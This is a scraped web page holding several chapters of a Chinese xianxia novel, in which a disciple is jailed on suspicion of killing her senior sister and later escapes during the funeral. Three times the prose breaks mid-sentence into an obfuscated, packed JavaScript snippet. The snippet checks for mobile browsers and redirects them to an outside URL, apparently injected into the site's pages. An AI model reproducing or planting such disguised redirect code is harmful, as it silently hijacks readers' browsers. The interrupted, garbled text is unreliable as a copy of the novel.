行至山门已是深夜,门口只有施明尘与褚霁远两人。两人察觉动静后就急忙上前,在看到折柳怀中毫无生机的施淼淼后,都像是被施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471940|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了定身咒一样。 半晌,施明尘颤抖着手接过女儿的尸身抱在怀里,脸色阴沉得吓人,“怎么回事!怎么回事!是谁?!是谁干的?!” 他抑制不住自己的怒气,合体期修士的威压在一瞬压倒了众人。子书珹跪倒在地的时候分了点神,他抬头去看褚霁远,不信那位师兄没有将事情告诉施明尘。他心中还存着些期盼,薛予蓁怎么说都是褚霁远亲自带上山的人,但他也清楚,褚霁远平日里虽对手下师弟师妹端的一副心思细腻,温和解意的模样,实则面热心冷,绝不会为私情手软。 果不其然,褚霁远像是完全没被影响到一样,冷声道:“凶手呢?” 那两名执律堂的弟子将薛予蓁推上前,一人捉人,一人将染血的长剑递了出去,“宗主。” 施明尘看见薛予蓁的那一刻,即便是早已从褚霁远那得到了消息,眉间也浮现出不解和愤怒,他面部肌肉抽动着,像是想说什么却硬生生地忍了回去。 薛予蓁被推得一个踉跄跪倒,她木然抬头看了施明尘一眼,在触及到他的眼神后又像是被火烧一般将头转开,沉默半晌,说出了回宗后的第一句话,“弟子,无话可说。” 闻讯赶来的莫泱和明若遥只听见了这句话,两人齐齐停住脚步,满脸的不可置信。还未等他们开口替薛予蓁辩解,就见施明尘看也不看薛予蓁一眼,抱着施淼淼径直离去。 而那位素来宠着薛予蓁的师兄,只冷冷地看着她,不带一丝温度地说道:“将她关到地牢,好好看着。”说完也追着施明尘的脚步离去。 那两名弟子闻言就要行动,却被子书珹拦住了去路,他擒住薛予蓁的手臂,问道:“为何不辩解?” 薛予蓁嘴唇嚅嗫两下,缓缓抬头,“证据都摆出来了,师兄要我辩解什么?” 两名弟子相互看了一眼,其中一人低声道:“还请师兄让一下,不要让我们难做。” 子书珹看着薛予蓁忽然笑了一声,松开手侧身到一边。待三人走了几步后,又道:“你有什么理由要杀她?” 回应他只有一串脚步声,薛予蓁始终没有答复。 不仅如此,接下来的五天里,不论谁去地牢里问话,她都缄口不言,只将自己蜷缩在角落里,闭着眼睛不知道在想什么。 直至五天后,明家派往来安城协助开办五宗大比的线人传来密信——三日前的五宗大比出了很大祸事,所有参与大比的修士都被困与一个无名邪阵中,不知阵法所关什么,但无辜被卷进去的凡人在阵法启动时顷刻间便化为了血水。纵使山雨门现任门主耗尽半生修为破了阵,但众人皆被阵法所伤,一时间除知源宗外的各大宗门都损伤惨重。 得到消息后的第一时间,褚霁远就到地牢里将事情说给了薛予蓁,沉默了五天的薛予蓁听见这个消息后总算有了反应。 地牢阴暗潮湿,薛予蓁五日里虽不曾对任何人做出反应,却也无法做到心安理得地休息。此刻她满身狼狈,面色惨淡,听到褚霁远说出来安城的惨剧后,缓缓抬起头,并不言语,褚霁远只看见两滴泪水顺着她消廋的脸颊落了下去。 44. 第四十四章 牢狱 夜深,书房内只燃着一盏灯,施明尘颓唐地倚坐在窗边,短短五日过去,他虽样貌没有变化,眉间却多了数不尽的老态。听见脚步声,他道:“她还是什么都不肯说吗?” 褚霁远与他对立而坐,“一句话也不说,只掉眼泪。” 施明尘长叹一口气,烦躁地将手插进发中,不解道:“你说,到底是她做的吗?她同淼淼虽只相识四年,却情如亲姐妹,我不信她能下手。但倘若不是她做的,到底有什么不能说的?” 这也是褚霁远理解不了的地方,当日那个放走宋璇,说若是自己判断出错,即便是追到天涯海角都会将罪魁祸首缉拿归案的少女又怎么会像现在这般一言不发。他沉吟片刻,将话题引开,“五宗大比之事……” 听见这事,施明尘又是冷笑一声,回过头阴测测地说道:“那些个脑子里只塞草的蠢货们在怀疑是我知源宗给他们下的套呢。否则怎么只我们没事?”他恼怒地一挥衣袖,“他当我很想要这样的‘没事’吗?!” 闻言,褚霁远突然抓住了一个点,他道:“前几日我去问话,她一动不动,今日也没说别的,只多提了五宗大比。莫非,小—”他说着顿了一下,将那个熟悉的称呼吞了回去,“师妹提前知道什么?” 施明尘疑道:“在此之前她连五宗大比都不知道是什么,去哪伙同歹人为害众人?” “若她不知,那便只有淼淼了。”褚霁远道。 提到施淼淼,施明尘便是心中一疼,他沉默半晌,道:“我知有一日总要送走淼淼,我早有准备,却没想到这一日来得如此突然…”他苦笑一声,抬手在自己胸前比划了一下,“你最是知道她是如何长大的,也是知道她早对自己后事有什么样的打算。这么高的时候,就在说,要一场风风光光的葬礼,要大家替她笑着走下去。” 褚霁远哑然,施明尘说的,他自然记得。他自记事起,就已经身处墟山,施明尘于他而言,即是师父也是父亲,而施淼淼则是他看着长大的妹妹。这个妹妹命途坎坷,跌跌撞撞磕磕碰碰地好不容易长到这么大,好不容易薛予蓁的出现让她的未来有了指望,却自己在半途就草草书写了结局。 师徒二人对坐无言,直至天明时,施明尘才道:“淼淼的丧事,就按她所说的那般办吧。” “是。” 明若遥盘腿在地牢里坐下,敲了敲铁栏杆,她本就不是什么好脾气的人,吃了太多次闭门羹,叫她火气也上来了,“薛予蓁,你是哑巴了不是?” 薛予蓁抬头看她,不说话,只任由眼泪落下。明若遥看她这副样子,一股无名火在心中烧起来,她一把扯过薛予蓁的衣领,低喝道:“哭?除了哭你还会什么?若不是你做的,你就将话说清楚,若真是你干的,我也只当我眼瞎识错了人!”她咬咬牙,本是不愿提及薛予蓁那些伤心过往,“你现在这样,还怎么为你的家人报仇?!” 这话叫薛予蓁眼中多了些神采,她咳了两声,几日未曾开口说话,声音有些嘶哑,“外面,如何?” 谢天谢地她终于开了口,明若遥松了一口气,边取出个水囊给她喂水,边回道:“在筹备师姐的丧事,先前莫名昏迷的那些个弟子也都醒了。” 听完,薛予蓁又兀自沉默下来,明若遥等了半天没等到她说话,险些又被气得发狂,“你到底什么毛病?现下的事情处理完了,就该轮到你被处理了?有什么不能说的?” 她将水囊往薛予蓁身边一丢,“你知道你同师姐的恩怨在外边传的有多离谱吗?一说你是宗主的私生子,你看不惯师姐受宠狠心将她杀了,二说宗主属意褚师兄做女婿,你和师姐表面和睦,实则私下斗着抢着争男人呢——” 薛予蓁听着明若遥说这些话,听得头脑发昏,她拧着眉道:“胡说八道!” 明若遥睨了她一眼,“外门弟子本就不爽你和师姐许久,打不过也不想着提升修为,只在一边乱嚼舌根。” 她叹了一口气,又凑到她面前,言辞恳切,“予蓁,我心知你和师姐一直感情深切,绝非是那些胡言乱语的关系。你若还当我是朋友,便告诉我当日到底发生了什么,我才好去宗主面前,褚师兄面前为你辩白。” 薛予蓁刚到地牢时浑浑噩噩,心中眼前都是师姐一身血污的模样,间或藏着一两处是阿娘胸口破了个大洞的样子,实在同师姐那日太像了。她只得闭上眼睛,告诉自己什么也别想什么也别看,可闭上了眼睛,耳边却总是响起那魔族死前的尖利哀嚎,响起师姐口中含血时说的谢谢说的喜欢,再远一些的是母亲叫她别怕。 可她如何能不怕呢? 地牢修得暗无天日,为的便是摧残人的意志,薛予蓁将自己缩在角落,耳边眼前都不得清净,叫她恨不得将眼睛剜了耳朵割了,可抬起手的时候总能看见手上没能擦掉的血迹,那些属于施淼淼的血迹,将她一下从混沌中拉出。 所有人都在等着她讲出真相,是为了施淼淼,是为了她。这几日里,薛予蓁总在想着该如何说,该说些什么。说实情吗?说施淼淼不知何时被魔族附身,说门内那莫名的昏迷事件皆是因为师姐而起?可今日明若遥带着那些风言风语而来,让薛予蓁再难开口。 听听他们说的那些话?若是真把实情说了出去,那些人又会如何责难师姐?又要说什么风凉话?薛予蓁不敢去想,她只想师姐能够好好离开。 明若遥期待了好一会儿,就见薛予蓁张了张口,还是一句话也吐不出来。明若遥生生被她这态度气笑了,她实在没辙了,站起身来恨恨道:“你就这样死犟着吧,三日后便是葬礼,我看你该如何脱身。” 说罢便离开了。 地牢入口守着不少人,莫泱本还没皮没脸地缠着守卫谈天说地,一副想要和他将宇宙洪荒说穿的模样,但听见门口传来动静,眼睛一亮,果断地抛开他,朝明若遥挥手,“明师姐,予蓁怎么样?” 明若遥带着满腔信心进去,一肚子火气出来,这会儿对谁也没有好脸色,摆了摆手,“没辙,留她自生自灭吧。” 莫泱语塞,心道薛予蓁平常同他们一起上课时不是挺能说的吗?更别提经常和子书珹许乐禾在一起,旁的可能学得不精,但见人说人话,见鬼说鬼话应是学的炉火纯青了。怎么到了这个时候便成了个哑巴? 他心中焦急,即便是和明若遥不甚相熟,也忙不迭的跟了上去,“那这该怎么办呀?子书师兄他们被遣去调查五宗大比之事,褚师兄——”他长叹一口气,“褚师兄到底信予蓁还是不信也叫人难以捉摸。整个知源宗简直没人愿意来替她说话了。” 明若遥闻言倏地停下脚步,看着跟在自己身后的十几个人,“没人?那你们算什么?” 众人沉默了一下,一人颇有些无奈地开口道:“明师姐,并非我们妄自菲薄,但我们的确在宗主和褚师兄面前说不上话。” “我已经在师父面前冒过头了,她叫我滚蛋,说是宗主这会儿正在气头上呢。”莫泱耸肩,“不过宗主这般也是情有可原。”知源宗谁人不知施明尘对施淼淼的重视和疼爱? 众人之间的气氛一时有些沉闷。这几日知源宗停学, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471941|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家白日里各处奔走想去寻些办法,只等到夜里才有时间到地牢来看薛予蓁。谁知却被守卫拦住不让进去探视,若非明若遥到了,今日也是无功而返。 夜风泛起凉意,众人在弟子峰前分别。明若遥看着众人都走进自己的宿舍时,才打算离去。却被莫泱拉住,这位小少爷和薛予蓁关系不错,知道的内情也多,包括薛予蓁的身世,即使是没了什么人,莫泱还是小声道:“明师姐,我今日看庄师兄带着崇涧宗的人去了致远殿,你说他们是为了五宗大比那个阵法而来,还是为了予蓁而来?” “崇涧宗的人?”明若遥道。 莫泱点头:“是啊。” “来的是谁?” “这我便没看那么仔细了,不过听闻元宗主也受了伤,估计来的是元弋晓吧。”莫泱对这人的印象还停留在宁沂秘境前的互骂上,称不上好也算不得坏,“就两三个人。” 明若遥也拿不准主意,“但愿是为了予蓁而来。” 明若遥走后,薛予蓁心绪更加杂乱,出事之后看着施淼淼的尸体她只觉得万念俱灰,什么都思考不了,便也没有考虑到如今的事情。 她将头抵在石壁上,闭上眼睛,强迫自己冷静下来后,思索起最重要的那个问题——施淼淼为何会被魔族附身,又是什么时候被魔族附身的?若如施淼淼所言,宗门内弟子昏迷事件是因她身上的魔族而起,那么按时间来看,也只有在宁沂秘境那时才会出纰漏让魔族钻漏洞附身。可凫华和百灿同施淼淼是形影不离,想要绕过她们俩接触到施淼淼几乎不可能。但如果不是那时,便只有在宗门中的人有机会下手。 思及此,薛予蓁缓缓缓缓睁开眼,自言自语道:“浮鸢……”浮鸢长老,最有机会对施淼淼下手的人。要是没记错的话,在离宗之前,为了以防在路途中发病,施淼淼先用过一次药。 可对浮鸢这人,疑处颇多,尽数无凭无据。 “凌河药谷……” 浮鸢原先也是凌河药谷弟子,按她的资历和备份应当是在药谷做长老,却不知其中出了什么意外,她叛出药谷,辗转到了知源宗。 “阿娘……” 如今已然得知阿娘是凌河药谷出身,那往日口中常常念叨的师父便也在凌河药谷。观她那时的怀念模样,也能看出这位师父对阿娘来说尤其重要。那既然重要,阿娘又为何要离开凌河药谷?四年前又是谁人要将她们一家人赶尽杀绝。 薛予蓁早便能接受这个事实,可再回忆起那时的场景也心脏紧缩,神思恍惚。 大雨,黑影,狂言,尖啸,血污。抓在肩上叫人生疼的手,眼前泛着寒光的尖刀,厉声逼问阿娘的黑袍人…… 那人当时在说什么? 在哪?什么在哪?在找什么东西? 诸事皆疑点重重。 薛予蓁光是想想就浑身直冒冷汗,明若遥先前的话到现在当头给了她一棒,将她从浑噩中砸醒。 她还不能死,至少现在还不能死,就算要她给师姐偿命也不该是现在。杀害至亲挚友的幕后黑手还没找到,手中的长剑暂时还不能放下。 混沌了数日的头脑总算清明起来,薛予蓁扶着铁栏杆颤颤巍巍地站了起来,缓了好一会儿才有力气大骂自己是个蠢货。事情到了这般地步,她又该要如何脱身,后续之事又待如何? 啪嗒。 一枚小石子从阴影中落到了她的脚下,她循着来处看去,一道颀长的人影慢慢显现出来。 谢云涧朝她眨眨眼,竖起一跟手指抵在唇前,“嘘。” 45. 第四十五章 争执 谢云涧的突然出现让薛予蓁惊讶不已,山门处的阵法除了有弟子牌外非请勿入。这人是怎么进知源宗的? 也许是脸上的疑惑太过明显了,谢云涧走到她面前,笑道:“好奇我是怎么进来的?”他得意地从怀中摸出一张隐身符,举起来在她面前晃了晃,“薛小姐,看来贵宗的看守实力实在不足呀。” 近年来虽然异动颇多,但并非严重到要将人带到知源宗看押,地牢已经很久没用过了,看守门口的弟子也是临时从执律堂中调派过来的。 谢云涧隔着铁栏杆看着薛予蓁,笑意渐渐消失,眼神透露些许心疼,“一月不见,你怎么如此憔悴?” 憔悴?薛予蓁闻言一怔,地牢不见光,只零落几盏昏黄的灯笼,看押犯人之处,自然是没有镜子的。她摸了摸自己的脸,没摸出来什么名堂,倒是久违地笑了笑,“是吗?” 谢云涧并不搭腔,胸前的衣服鼓鼓囊囊的,松果在里面挣扎一番,钻了出来。牢笼对它来说不算什么,简单一跃就能进去,但谢云涧揪着它的尾巴又塞了回去,另从袖中抽出一块手绢递给薛予蓁,指了指自己的侧脸,示意她,“这里脏了。” 薛予蓁接过手绢的时候还有些没反应过来,一令一动,慢吞吞地擦拭着自己的脸,临着要将手绢还给他时才说了句,“这是靠在墙上时蹭的。” 两人间的对话驴头不对马嘴,但谢云涧也没说什么,将手绢捏在手里,问道:“你要出来吗?” “你不问问我为什么会在这吗?” 谢云涧唔了一声,别的什么话也不说,只移开视线四处打量着这座地牢,阴暗潮湿,漆黑压抑,实在不是什么好地方。 等不到他的回答,薛予蓁自顾自地开口道:“也是,过了这么久了,什么消息都该传出去了。”她攥着栏杆的手不自觉地加重了力度,指节处微微泛白。 谢云涧转悠了一圈的目光最终落到了她的手上,听薛予蓁说着话,他鬼使神差地伸手覆在了她的手上。 地牢幽寒,薛予蓁的手很冷。 谢云涧低着头,将她的手指轻轻地从栏杆上掰开,最后将她的手握在自己手中,抬眼看着她,“我不知道什么传言,我只听到他们在欺负你。”说完这句话,他感觉到手心被很轻很轻地抓了一下。 薛予蓁保持了很久的冷静被他一句话击破,眼眶霎时就红了起来。谢云涧握着她的手晃了晃,“要再借一下我的肩膀吗?但我没有学过缩骨功,可能得麻烦你先出来。” 俏皮话又叫薛予蓁笑了起来,她摇摇头,“谢谢你,但是我还想再等等。” 谢云涧不太满意她的回答,皱着眉将她的手握得紧了一些,“等什么?等你那位被外派到来安城收拾烂摊子的子书师兄还等那两位一句话都不为你说的师父和师兄?” 这一长串话打得薛予蓁猝不及防,她缓了一下,“你这不是全部都知道了吗?”甚至比她知道都还多,可没人来告诉她子书珹被外派到来安城去了。 “知道什么?”谢云涧忽地凑到她面前,近到鼻尖都探进了牢房里,“知道你杀了你师姐?可你是吗?你会吗?”他眸子的颜色很浅,被一旁的灯光映照得亮闪闪的,但里面却盛着气愤。 薛予蓁不知该怎么回答他的问题。 谢云涧也没等她的回答,自己接着说道:“你不是。你不会。” “你怎么知道?” “长了眼睛的人都能看得出来,看不出来的人自然眼睛都白长了。” 薛予蓁不知道自己这是第几次被他逗笑了,她抬起没被他握住的手,伸出手指抵着他的鼻尖将他推了出去,“难道我不会演?” 谢云涧顺从地被她推着,借着薛予蓁的动作,将一个水蓝的手镯套在她的腕上,“有些东西是演不出的。”他依依不舍地松开手,“我得走了。薛小姐,不论你做什么决定,我都会支持的。若你想走,我在山下等你,你跟我回去,我保准他们找不着你。” 冰凉的手已经被他捂热了,薛予蓁两手交握着想要留住那份暖意。她看着谢云涧,心中突然有很多话想和他说,但最后只点了点头,“好。” 谢云涧看起来并不想离开,他转身走了两步,突然停在原地,似乎是想到了什么,又跑了回来,看着薛予蓁说道:“我本就是想再见你才去五宗大比,在城外等了你许久却只等到了如此消息。”他默了一下,“谁都没有想到来安城会出意外,但一定是师姐在保护你。” “她也很爱你,不愿你受伤。” 薛予蓁一怔,低下头小声道:“是师姐,我们才逃此一劫……” 她声音太小,谢云涧并没有听见她说了什么,但也无意去过问。外面传来阵阵脚步声,两人皆扭头看向门口,薛予蓁道:“有人来了,你可还有隐身符?” 谢云涧点点头,使了符咒隐去身形。 下一刻,两名看守地牢的弟子匆匆而来。两人神情慌张,看见薛予蓁还待在牢房中时才松了口气。 “方才可有人进来?” 入口处悬挂的灯笼无风而动,轻轻地摇晃着,薛予蓁知道这是谢云涧给她的信号。不动声色地收回目光,薛予蓁没说话,只摇了摇头。 但之前两人毫无察觉地昏睡过去还是叫他们警觉起来,两名弟子又在地牢里转了几圈,发现的确没有其他人才略略放下心来。 见两人要离去了,薛予蓁急忙开口,“二位留步。” 两人对视一眼,虽有不解但还是停下了脚步。一人道:“何事?” “三日后…是师姐的葬礼吗?” 元弋晓和柳倾云满面愁云地从致远殿中出来,正巧撞上凫华和百灿。四人都有些尴尬,一时间竟没人说话。 柳倾云正满肚子火气无处发,忍了一会儿实在没忍住,她看向二人,不客气地问道:“若我没有记错的话,宁沂秘境时你二人是寸步不离地跟着施淼淼的,怎么这遭便生了祸事,莫不是你们擅离职守?” 她本就是火爆性子,方才在殿内同施明尘和褚霁远吵了一架,现在正是气闷的时候,元弋晓本想拉住她,但柳倾云的问题一出口,他便没了动作——这也正是他好奇的。虽没有和薛予蓁相处过多时日,但小舅舅教出来的孩子又怎么会是背信弃义狼心狗肺之人? 凫华和百灿是褚夫人怀孕时从褚家带回来的人,两人看着施淼淼从小婴儿磕磕跘跘地长大成人,虽不是亲人却胜似亲人。没能在那片迷雾护好施淼淼本就叫她们心头难受得紧,如今还要被人指着鼻子骂。百灿一个向来不在意这些事情而人都有些气恼,更别提一点就炸的凫华了。 但顾忌着这是崇涧宗的客人,凫华只好忍气吞声,“柳小姐这是什么意思?” 柳倾云冷笑一声,“两个失职的仆从都还能在这大摇大摆地闲逛,却叫无辜被冤枉的人关进地牢?这便是你们知源宗的做派吗?” 凫华忍无可忍,口不择言道:“无辜?人证物证具在,就连薛予蓁她自己也说‘无话可说’,若非心虚,又有何不可说?” “人证?若我没记错的话,上报的消息是说当时大雾一片,并未有人直接看见薛予蓁杀了施淼淼。”柳倾云嗤笑一声,“怎么?你亲眼看见的?还是说你们知源宗随随便便哪个人都可以给她泼脏水,欺负她无父无母,孤身一人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471942|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你!” 凫华还想说什么,大殿的门却忽地开了,施明尘神色不虞,看向凫华和百灿二人,“吵什么?” 其他人还顾忌着施明尘宗主的身份不敢说什么,凫华却并非隶属知源宗,她心下不爽,说话也越无遮拦,“施宗主,我们当年奉主人之命,保护着小姐。小姐是主人以命诞下,如今出了事,凶手也已伏诛,你难道要包庇纵容她?”她对于薛予蓁本就只是爱屋及乌。褚茗雁死后,施淼淼便是她们的主人,不光如此,两人伴着施淼淼长大,更是将其当成自己的妹妹。 听见夫人和女儿的名号,施明尘沉默着不说话。 柳倾云也不甘示弱,“凶手?真敢说这话。”她恨恨地瞪着两人,“你们当真将予蓁放在心上过?留她在知源宗到底是怜惜她还是施淼淼需要她?” 她这话说得莫名,凫华和百灿都是一愣,唯有施明尘和褚霁远两人有所反应,直直地看向她。柳倾云并不畏惧,“很意外我会知道?可这是淼淼告诉我的。” 那日浮鸢之事被说穿后施淼淼不知是因为情绪不当还是什么,一直都恹恹的。柳倾云问她需不需要再找一位信得过的医修看一看,施淼淼却笑着摇头,“这便不必了,待小风筝回来就好了。”提到薛予蓁的时候,她总是看着心情要好很多,“看见小风筝,我就不会不舒服了。” 柳倾云想到这里,颇为不平,她看得出施淼淼是真心待薛予蓁的,可她身边之人又是有几个觉得薛予蓁能让她高兴才留下她的呢?她道:“早知要在这里受这么大的委屈,还不如那日叫祖母将她一定带回崇涧宗。” 凫华明白再怎么说也没用,施明尘的态度才是决定事情的关键。她朝着施明尘拱手一拜,“我已向主家禀明事情缘由,茗鸢阁主说她自会替小姐讨回公道。宗主,我与百灿还要置办小姐葬礼事宜,不便多陪。”说罢便脚步匆匆地离开了。 元弋晓也拱手道:“施宗主既不要我们见予蓁也不让我们带走她,五宗大比一事后宗内事务繁多,晚辈只得先行离开。但三日后令爱的葬礼崇涧宗不会缺席。” 柳倾云虽心中有气,却也是礼数周全地向施明尘做了道别。 施明尘长叹一口气,“茗鸢……若是茗鸢要来,予蓁那孩子可就……” 元弋晓和柳倾云刚走到山下就瞧见谢云涧。他坐在一块大石头上,拎着根草逗弄着他那只小松鼠。 余光瞟见二人,谢云涧丢开松果,问道:“如何?” 三人也是在山下遇见的,谢云涧当时正愁着如何进知源宗,柳倾云恰巧记得他在宁沂秘境替薛予蓁说过话。三人一拍即合,元弋晓两人得了能入宗的令牌,只要没人严查,捎带一个人不成问题。 元弋晓摇头,“只能等三日后再看了。你呢?” 谢云涧道:“我见到薛小姐了。” 柳倾云忙问:“她如何?有没有什么伤处?” “不太好。看起来很难过,很憔悴。”谢云涧皱着眉回忆,“地牢里灯火昏暗,我看不清楚。只是,听他们所言那日凶险无比,怕是也受了伤的。” 柳倾云拧着眉,心中又是一股无名火气,瞥见旁边元弋晓没什么反应,恼道:“到底是你妹妹还是我妹妹?你怎么瞧着一点也不着急!” 元弋晓安慰她,“当时是我们妹妹。可如今我们急也无用,待回去同祖母他们说了,还愁带不回一个予蓁?” 谢云涧也道:“我观薛小姐并非要认命,也同她说了在山下等她,若是她决定了要走,来找我便是。” 他二人说的有理,但柳倾云却无法心安,“我只怕予蓁对施淼淼太过愧疚……” 46. 第四十六章 出逃 启光五百二十三年九月七日。辰时未过,天蒙蒙亮,知源宗上下人来人往,往日鲜艳奢华的装饰取了下来,挂上段段白绸。 桃花纷飞的竹晏峰小院内放着一尊棺椁,灵力保存下施淼淼的尸身容貌并无变化,就好像是睡着了一般。凫华和百灿为她做了最后的仪容整理,她们知晓她的喜好,替她选了件桃粉衣裙,簪着那支飞鸟银簪。 两人离开后,施明尘缓步走到棺椁旁,轻抚平她衣衫上的褶皱,“淼淼啊,瞧着今日是个好天时,且就这样睡个好觉吧……” 院内寂静无声,施明尘的话,自是无人能回应。 褚霁远站在小院门口看着师父的身影,半晌,他正要迈步进去,忽而一阵风起,漫天桃花飞舞。一片花瓣翻飞中,他的目光触及到什么,褚霁远陡然愣住。 施淼淼还身着临走时那套鹅黄衣袍,似是察觉到了他的目光,回首看着他,笑着道了一句“师兄”。 地牢中,薛予蓁正盘腿调息,那日受的伤虽算不得什么,但当时她将灵力全部传给了施淼淼,被关进地牢后也无心疗伤和调息,内里灵气早已空虚。但说来也奇怪,薛予蓁缓缓睁开眼,感受着灵脉中流淌的灵力——她只调息了短短几个时辰竟就觉得灵力满溢。想起师兄说的“天生灵脉”,薛予蓁不知道该喜还是忧。 砰砰砰! 正想着,身侧的铁栏杆突然被人猛敲几下,薛予蓁抬头看去,明若遥正举着剑鞘在砸牢门。但知源宗的地牢不知是用什么精铁所建造的,半点伤害都没造成。 薛予蓁道:“明师姐,你这是?” 大抵察觉到自己的行为有些蠢笨,明若遥停了动作,手却还把在牢门上,她此次前来的表情称不上愉快,轻声道:“予蓁,我只问你一句,是或不是。” 薛予蓁当然知道她在说什么,迎着明若遥热切的眼神,她终于不再沉默,摇着头道:“不是。” 明若遥眼眸一亮,“我就知道,我就知道。”说着,从袖中掏出一把钥匙,利落地将门锁打开,“快,咱们走。” 薛予蓁被她这番操作弄得有些迷糊,她跟着明若遥往外走着,疑道:“明师姐,既有钥匙,你怎么一开始还拿剑鞘砸门?” “昨夜褚师兄找我,虽什么都没说,却给了我这把钥匙。”明若遥道,“我想着,若你无辜我便就此将你救出,若你还是一语不发,我就破门强行将你带走,届时也牵扯不到旁的人。” 钥匙竟是褚霁远给的。薛予蓁有些恍惚,师姐死后,不论是施明尘还是褚霁远,她都觉得无颜面对。再者,褚霁远当日并未替她说话,之后来地牢里也只说些其他事情,薛予蓁还当他真的信了自己是凶手。 想到此处,薛予蓁在心中暗骂自己,分明是你不愿说实话,竟还怪罪别人不信你。 两人一路脚步未停,不过半柱香就走到了地牢门口。 看着门口透进来的几缕光亮,薛予蓁心中竟产生了几分惧意。出了这道门,她要如何?下山?同那天谢云涧说的那样,跟着他走?自此与墟山,与知源宗再无牵绊? 薛予蓁想着,脚步慢了下来。门口突然又冒出一个脑袋来,那人原本紧皱着眉,看见她们两人,顿时轻松了不少,“快快快,我刚刚看见灵犀十二阁的人了!” 明若遥惊道:“竟这么早?” 莫泱道:“好歹是淼淼师姐的小姨,得了这个消息,不得来快点。”他斜过身体看了一眼薛予蓁,“师姐,你可得快些跑,天下谁人不知灵犀十二阁四阁主的威名。” 薛予蓁还真就不知道了,看她一头雾水的样子,明若遥道:“先走,路上与你说。” 五洲境内,五宗权力最大,相互制衡,主管四散的各大门派事宜,而灵犀十二阁则是世家所建立的机构,大大小小地分布在五洲各处,处理世家、散修与凡人之间的事情。褚家百余年来一直赫赫有名。现任灵犀十二阁第四阁阁主褚茗鸢便是施明尘亡妻褚茗雁的妹妹,心狠手辣,做事果决。 “施宗主,我听说你还将那个杀害淼淼的凶手留着呢?”褚茗鸢手执一柄长剑,站在阶下,神情莫测地看着施明尘,“难不成是知道小妹的脾气,专门留着来给我解气用的?” 褚家父母无心修习,一辈子勤勤恳恳地经营祖上传下来的家业,却没想到家中两位女儿皆非泛泛之辈,修习天赋远超他人,如今二老已作古多年,褚茗雁也死于非命,仅留褚茗鸢一人主持着褚家上下。 褚茗鸢对自己这位姐夫本就没什么好感,姐姐去世后更是不愿有交集,但施淼淼还在他这。原本是想着将施淼淼接到自己身边,可她常年忙于灵犀十二阁和褚家的事务,再加上施淼淼天生不足,只得作罢。 可施淼淼是姐姐拼了命留下的宝贝,褚茗雁讨厌不起来,甚至对她疼爱有加。虽不能常伴左右,但逢年过节,天下各处的珍宝都往她那送。 得知施淼淼的死讯时,褚茗雁正处理着渝州内活人试药的事情,一时失控将嫌犯打了个半死,匆匆处置后便赶往墟山。 施明尘眼中愧意不减,却还是说:“并无证据证明——” “证据?”褚茗鸢不耐烦地打断他的话,眼底尽是狠戾,手中长剑灵气肆意,“谁不知道我褚茗鸢是个不讲道理的人?要什么证据,我只要替淼淼讨一个公道。” “总之,褚阁主将淼淼疼得跟眼珠子似的,管他证据不证据的,定是不会放过你的——祖宗!你看什么呢,还不快走!”莫泱正说着,没得到什么回应,扭头一看,薛予蓁不知什么时候停了脚步,望着竹晏峰的方向出神。 “我想再去看看师姐。”沉默了一会儿后,薛予蓁突然道。 莫泱听见这话两眼一黑,虚弱道:“敢情我刚刚说的话你一句也没听?疯了吧还要往那凑!” 明若遥也一副不赞同的模样。 薛予蓁却兀的笑了一下,重复道:“我想要去再去看看师姐,哪怕只是远远地看一眼。”她转身朝两位同门作了一礼,“二位,我并非要去找死。但今日若是走了,不知何时才会再回来。师姐,师兄,师父皆于我有恩,我…我没办法就这样一走了之。” 两人无奈地对视一眼,莫泱道:“那我们陪你去。” “不必了,今日我跑了,明日追责下来,不在场的二位便是最大的嫌犯,我不能再拖累你们。”薛予蓁摸了摸自己的手腕,指尖触及到微凉的镯子,心下有了选择,“我自有退路。” 依照谢云涧的性子,不会无缘无故给她戴上手镯只是为了好看,一定是有什么用处,再说,即便没有谢云涧,自己还能找泠宿前辈救救场。薛予蓁心道:希望前辈能进知源宗的护山大阵。 明若遥和莫泱心知薛予蓁这是下定决心要去竹晏峰了,劝也劝不过来,只得不断嘱咐她,“千万小心,不要进院子,远远地看一看便好。” 莫泱更是直接,“淼淼师姐不会想要今日变成你的忌日。” 三人此时是在一处隐蔽的石壁后,但随着时辰的变化,人也多了起来。明若遥和莫泱找了时机隐入人群,离开了。 薛予蓁从不甚熟练地给自己画了一道易容符,也没入向上的人群中。 去往竹晏峰的路她走了四年,除去最开始被师姐“捡回去”时心中沉闷难捱,其余时候总是充满着期待和欢乐。说是第二个家有些太过了,但施淼淼的确给了当时的自己一个无忧无虑的避难所。 